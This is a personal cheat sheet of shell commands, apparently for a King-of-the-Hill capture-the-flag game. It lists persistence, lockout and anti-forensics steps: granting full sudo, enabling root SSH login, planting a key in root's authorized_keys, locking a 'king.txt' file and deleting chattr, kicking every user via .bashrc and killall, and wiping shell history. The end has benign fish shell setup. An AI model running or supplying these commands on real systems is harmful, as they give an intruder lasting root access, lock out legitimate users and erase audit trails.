Privesc

nano /etc/sudoers | # to all
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
service sshd restart
echo 'clevergod' > /root/king.txt && chattr +i /root/king.txt #&& rm /usr/bin/chattr

Generate

ssh-keygen -t ed25519 -a 100 -f ~/.ssh/id_ed25519 -C "name"
subl ~/.ssh/id_ed25519.pub

SSH ONELiner

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAA....t1dk9llNw==' >> /root/.ssh/authorized_keys; chmod -R 600 /root/.ssh ; sed -i '/^PermitRootLogin/s/no/yes/' /etc/ssh/sshd_config ; service ssh restart
alias ssh_key='pub=$(cat ~/.ssh/id_ed25519.pub); cmd="echo '\\''$pub'\\'' >> ~/.ssh/authorized_keys"; echo "$cmd" | pbcopy; echo "Команда скопирована в буфер"'
source ~/.zshrc
ssh_key

Kick ALL

find /home/ -name .bashrc -type f |while read in; do echo exit >> $in; done
ls /home | sed 's/ /\\n/g' | while read in; do echo "killing session of $in"; killall -u $in; done
echo 'clevergod' > /root/king.txt && chattr +i /root/king.txt && rm /usr/bin/chattr

History Date

echo 'export HISTTIMEFORMAT="%d/%m/%y %T "' >> ~/.bash_profile
source ~/.bash_profile

Clear history & /dev/null

//bash_history #clear
cat /dev/null > ~/.bash_history; ln -sf /dev/null ~/.bash_history

//или 
history -c && history -w

🐠 Fish

#Fish #Shell #Bash
sudo apt-get install fish
chsh -s /usr/bin/fish

#Check
cat /etc/shells
fish

#Красота
#fish -c 'set -U fish_greeting ""' && mkdir -p ~/.config/fish && echo -e "if status is-interactive\\n    set_color green\\n    echo \\"💻 Host: (hostname) | ⏱ (uptime -p) | 🌐 IP: (echo \\$SSH_CLIENT | awk \\047{print \\$1}\\047)\\"\\n    set_color normal\\nend" > ~/.config/fish/config.fish

Профиль

SSH HARDENING